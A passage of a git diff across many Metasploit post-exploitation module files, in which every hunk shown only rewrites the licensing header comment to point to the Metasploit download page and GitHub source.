b/modules/post/multi/gather/netrc_creds.rb index fc8abbcb2b..df8008e840 100644 --- a/modules/post/multi/gather/netrc_creds.rb +++ b/modules/post/multi/gather/netrc_creds.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/gather/pgpass_creds.rb b/modules/post/multi/gather/pgpass_creds.rb index ff003d0de2..660c359921 100644 --- a/modules/post/multi/gather/pgpass_creds.rb +++ b/modules/post/multi/gather/pgpass_creds.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/post/multi/gather/pidgin_cred.rb b/modules/post/multi/gather/pidgin_cred.rb index e4cef0c1eb..66bce0a72c 100644 --- a/modules/post/multi/gather/pidgin_cred.rb +++ b/modules/post/multi/gather/pidgin_cred.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/gather/ping_sweep.rb b/modules/post/multi/gather/ping_sweep.rb index 3270c5cf27..64a3012171 100644 --- a/modules/post/multi/gather/ping_sweep.rb +++ b/modules/post/multi/gather/ping_sweep.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/gather/resolve_hosts.rb b/modules/post/multi/gather/resolve_hosts.rb index b054198958..adf1e63b4c 100644 --- a/modules/post/multi/gather/resolve_hosts.rb +++ b/modules/post/multi/gather/resolve_hosts.rb @@ -1,8 +1,6 @@ # -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/gather/run_console_rc_file.rb b/modules/post/multi/gather/run_console_rc_file.rb index d00a8ce46c..bd746d9a47 100644 --- a/modules/post/multi/gather/run_console_rc_file.rb +++ b/modules/post/multi/gather/run_console_rc_file.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/gather/skype_enum.rb b/modules/post/multi/gather/skype_enum.rb index c6b26e5c4a..cf701e6062 100644 --- a/modules/post/multi/gather/skype_enum.rb +++ b/modules/post/multi/gather/skype_enum.rb @@ -1,8 +1,7 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/post/multi/gather/ssh_creds.rb b/modules/post/multi/gather/ssh_creds.rb index 5b62192dfa..335e8672b4 100644 --- a/modules/post/multi/gather/ssh_creds.rb +++ b/modules/post/multi/gather/ssh_creds.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/gather/thunderbird_creds.rb b/modules/post/multi/gather/thunderbird_creds.rb index 4f7de48184..07ff62c480 100644 --- a/modules/post/multi/gather/thunderbird_creds.rb +++ b/modules/post/multi/gather/thunderbird_creds.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/general/close.rb b/modules/post/multi/general/close.rb index 4b3fee5808..063e8a0022 100644 --- a/modules/post/multi/general/close.rb +++ b/modules/post/multi/general/close.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/general/execute.rb b/modules/post/multi/general/execute.rb index 7c2f5fc16d..223d05a545 100644 --- a/modules/post/multi/general/execute.rb +++ b/modules/post/multi/general/execute.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/manage/multi_post.rb b/modules/post/multi/manage/multi_post.rb index e7e2625f44..4bf4fa9fef 100644 --- a/modules/post/multi/manage/multi_post.rb +++ b/modules/post/multi/manage/multi_post.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/manage/record_mic.rb b/modules/post/multi/manage/record_mic.rb index 5b364bb457..3d7c7bee17 100644 --- a/modules/post/multi/manage/record_mic.rb +++ b/modules/post/multi/manage/record_mic.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/manage/sudo.rb b/modules/post/multi/manage/sudo.rb index b7c379d08d..5f428936ef 100644 --- a/modules/post/multi/manage/sudo.rb +++ b/modules/post/multi/manage/sudo.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/manage/system_session.rb b/modules/post/multi/manage/system_session.rb index 123f257bb1..15c8a1c324 100644 --- a/modules/post/multi/manage/system_session.rb +++ b/modules/post/multi/manage/system_session.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/osx/admin/say.rb b/modules/post/osx/admin/say.rb index 03aa1c6f26..73ab461b51 100644 --- a/modules/post/osx/admin/say.rb +++ b/modules/post/osx/admin/say.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/osx/capture/keylog_recorder.rb b/modules/post/osx/capture/keylog_recorder.rb index 5b41a15076..68e3052fcc 100644 --- a/modules/post/osx/capture/keylog_recorder.rb +++ b/modules/post/osx/capture/keylog_recorder.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'shellwords' diff --git a/modules/post/osx/gather/enum_adium.rb b/modules/post/osx/gather/enum_adium.rb index 7f4e452132..a8d4c497e0 100644 --- a/modules/post/osx/gather/enum_adium.rb +++ b/modules/post/osx/gather/enum_adium.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/post/osx/gather/enum_airport.rb b/modules/post/osx/gather/enum_airport.rb index 6b319443cc..eb01e7b41b 100644 --- a/modules/post/osx/gather/enum_airport.rb +++ b/modules/post/osx/gather/enum_airport.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/post/osx/gather/enum_chicken_vnc_profile.rb b/modules/post/osx/gather/enum_chicken_vnc_profile.rb index f44cd0e983..9ee95c9781 100644 --- a/modules/post/osx/gather/enum_chicken_vnc_profile.rb +++ b/modules/post/osx/gather/enum_chicken_vnc_profile.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/post/osx/gather/enum_colloquy.rb b/modules/post/osx/gather/enum_colloquy.rb index 0eebc59659..d2556165f1 100644 --- a/modules/post/osx/gather/enum_colloquy.rb +++ b/modules/post/osx/gather/enum_colloquy.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/post/osx/gather/enum_keychain.rb b/modules/post/osx/gather/enum_keychain.rb index 6da8ef0096..63db6011f2 100644 --- a/modules/post/osx/gather/enum_keychain.rb +++ b/modules/post/osx/gather/enum_keychain.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/post/osx/gather/enum_osx.rb b/modules/post/osx/gather/enum_osx.rb index 55912ccba5..b72e9c33ce 100644 --- a/modules/post/osx/gather/enum_osx.rb +++ b/modules/post/osx/gather/enum_osx.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/osx/gather/hashdump.rb b/modules/post/osx/gather/hashdump.rb index b0d55cdc46..af7bef90ea 100644 --- a/modules/post/osx/gather/hashdump.rb +++ b/modules/post/osx/gather/hashdump.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/osx/gather/password_prompt_spoof.rb b/modules/post/osx/gather/password_prompt_spoof.rb index 6cba8e5917..7552be2c23 100644 --- a/modules/post/osx/gather/password_prompt_spoof.rb +++ b/modules/post/osx/gather/password_prompt_spoof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/post/osx/manage/record_mic.rb b/modules/post/osx/manage/record_mic.rb index ac952509c7..5dc1c16c5b 100644 --- a/modules/post/osx/manage/record_mic.rb +++ b/modules/post/osx/manage/record_mic.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/osx/manage/webcam.rb b/modules/post/osx/manage/webcam.rb index 88352d45f7..dd152b366b 100644 --- a/modules/post/osx/manage/webcam.rb +++ b/modules/post/osx/manage/webcam.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/solaris/gather/checkvm.rb b/modules/post/solaris/gather/checkvm.rb index b84fddefad..e62e55b29f 100644 --- a/modules/post/solaris/gather/checkvm.rb +++ b/modules/post/solaris/gather/checkvm.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/solaris/gather/enum_packages.rb b/modules/post/solaris/gather/enum_packages.rb index 05bf2fc91f..f394f63e52 100644 --- a/modules/post/solaris/gather/enum_packages.rb +++ b/modules/post/solaris/gather/enum_packages.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/solaris/gather/enum_services.rb b/modules/post/solaris/gather/enum_services.rb index 1befb8c965..71ff8a1ff1 100644 --- a/modules/post/solaris/gather/enum_services.rb +++ b/modules/post/solaris/gather/enum_services.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/solaris/gather/hashdump.rb b/modules/post/solaris/gather/hashdump.rb index 0c3a6f8690..48fd047d28 100644 --- a/modules/post/solaris/gather/hashdump.rb +++ b/modules/post/solaris/gather/hashdump.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/capture/keylog_recorder.rb b/modules/post/windows/capture/keylog_recorder.rb index cfca51ea26..f29602d03f 100644 --- a/modules/post/windows/capture/keylog_recorder.rb +++ b/modules/post/windows/capture/keylog_recorder.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/capture/lockout_keylogger.rb b/modules/post/windows/capture/lockout_keylogger.rb index ab37775a4d..6da0de962f 100644 --- a/modules/post/windows/capture/lockout_keylogger.rb +++ b/modules/post/windows/capture/lockout_keylogger.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/escalate/droplnk.rb b/modules/post/windows/escalate/droplnk.rb index 9b3d33ded9..3525bcaea6 100644 --- a/modules/post/windows/escalate/droplnk.rb +++ b/modules/post/windows/escalate/droplnk.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/escalate/getsystem.rb b/modules/post/windows/escalate/getsystem.rb index d23cb350a1..eee1567968 100644 --- a/modules/post/windows/escalate/getsystem.rb +++ b/modules/post/windows/escalate/getsystem.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/escalate/ms10_073_kbdlayout.rb b/modules/post/windows/escalate/ms10_073_kbdlayout.rb index d65f0eff29..a3f7a1c3cb 100644 --- a/modules/post/windows/escalate/ms10_073_kbdlayout.rb +++ b/modules/post/windows/escalate/ms10_073_kbdlayout.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/escalate/net_runtime_modify.rb b/modules/post/windows/escalate/net_runtime_modify.rb index ac0450e88b..ee8fdd957c 100644 --- a/modules/post/windows/escalate/net_runtime_modify.rb +++ b/modules/post/windows/escalate/net_runtime_modify.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/escalate/screen_unlock.rb b/modules/post/windows/escalate/screen_unlock.rb index 7a57cbaf65..af2adb1fe3 100644 --- a/modules/post/windows/escalate/screen_unlock.rb +++ b/modules/post/windows/escalate/screen_unlock.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/arp_scanner.rb b/modules/post/windows/gather/arp_scanner.rb index b451043032..f2bc86f46b 100644 --- a/modules/post/windows/gather/arp_scanner.rb +++ b/modules/post/windows/gather/arp_scanner.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/bitcoin_jacker.rb b/modules/post/windows/gather/bitcoin_jacker.rb index e52611ff9f..790cf03ec6 100644 --- a/modules/post/windows/gather/bitcoin_jacker.rb +++ b/modules/post/windows/gather/bitcoin_jacker.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/cachedump.rb b/modules/post/windows/gather/cachedump.rb index 795d69978e..b27d980db7 100644 --- a/modules/post/windows/gather/cachedump.rb +++ b/modules/post/windows/gather/cachedump.rb @@ -1,10 +1,8 @@ # post/windows/gather/cachedump.rb ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/checkvm.rb b/modules/post/windows/gather/checkvm.rb index b1cec95688..e32ac9b77f 100644 --- a/modules/post/windows/gather/checkvm.rb +++ b/modules/post/windows/gather/checkvm.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/bulletproof_ftp.rb b/modules/post/windows/gather/credentials/bulletproof_ftp.rb index c0ee99ce20..11f2db0653 100644 --- a/modules/post/windows/gather/credentials/bulletproof_ftp.rb +++ b/modules/post/windows/gather/credentials/bulletproof_ftp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/coreftp.rb b/modules/post/windows/gather/credentials/coreftp.rb index be7705f0b8..88d9d44539 100644 --- a/modules/post/windows/gather/credentials/coreftp.rb +++ b/modules/post/windows/gather/credentials/coreftp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/credential_collector.rb b/modules/post/windows/gather/credentials/credential_collector.rb index 17ee11fa84..0271591700 100644 --- a/modules/post/windows/gather/credentials/credential_collector.rb +++ b/modules/post/windows/gather/credentials/credential_collector.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/dyndns.rb b/modules/post/windows/gather/credentials/dyndns.rb index 3ec266b4e3..77279aa174 100644 --- a/modules/post/windows/gather/credentials/dyndns.rb +++ b/modules/post/windows/gather/credentials/dyndns.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/enum_cred_store.rb b/modules/post/windows/gather/credentials/enum_cred_store.rb index 2179480a24..6617c0bd16 100644 --- a/modules/post/windows/gather/credentials/enum_cred_store.rb +++ b/modules/post/windows/gather/credentials/enum_cred_store.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/enum_picasa_pwds.rb b/modules/post/windows/gather/credentials/enum_picasa_pwds.rb index c1b071774c..57396108c4 100644 --- a/modules/post/windows/gather/credentials/enum_picasa_pwds.rb +++ b/modules/post/windows/gather/credentials/enum_picasa_pwds.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/epo_sql.rb b/modules/post/windows/gather/credentials/epo_sql.rb index 024406b363..8d06ffcd56 100644 --- a/modules/post/windows/gather/credentials/epo_sql.rb +++ b/modules/post/windows/gather/credentials/epo_sql.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/filezilla_server.rb b/modules/post/windows/gather/credentials/filezilla_server.rb index 59c7bb5fcb..ea254450da 100644 --- a/modules/post/windows/gather/credentials/filezilla_server.rb +++ b/modules/post/windows/gather/credentials/filezilla_server.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/flashfxp.rb b/modules/post/windows/gather/credentials/flashfxp.rb index 4cca41a735..8ba708d458 100644 --- a/modules/post/windows/gather/credentials/flashfxp.rb +++ b/modules/post/windows/gather/credentials/flashfxp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/ftpnavigator.rb b/modules/post/windows/gather/credentials/ftpnavigator.rb index 1d64ab802a..f232b8d85d 100644 --- a/modules/post/windows/gather/credentials/ftpnavigator.rb +++ b/modules/post/windows/gather/credentials/ftpnavigator.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/ftpx.rb b/modules/post/windows/gather/credentials/ftpx.rb index 1dba7aa9b1..49b8e01e9b 100644 --- a/modules/post/windows/gather/credentials/ftpx.rb +++ b/modules/post/windows/gather/credentials/ftpx.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 51fb81493a..8b700659f0 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/idm.rb b/modules/post/windows/gather/credentials/idm.rb index bd3efd2f81..e61b43a33a 100644 --- a/modules/post/windows/gather/credentials/idm.rb +++ b/modules/post/windows/gather/credentials/idm.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/imail.rb b/modules/post/windows/gather/credentials/imail.rb index 648469ac34..b628cf24cb 100644 --- a/modules/post/windows/gather/credentials/imail.rb +++ b/modules/post/windows/gather/credentials/imail.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/imvu.rb b/modules/post/windows/gather/credentials/imvu.rb index c8f860b610..256e507b46 100644 --- a/modules/post/windows/gather/credentials/imvu.rb +++ b/modules/post/windows/gather/credentials/imvu.rb @@ -1,10 +1,8 @@ # -*- coding: binary -*- ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: 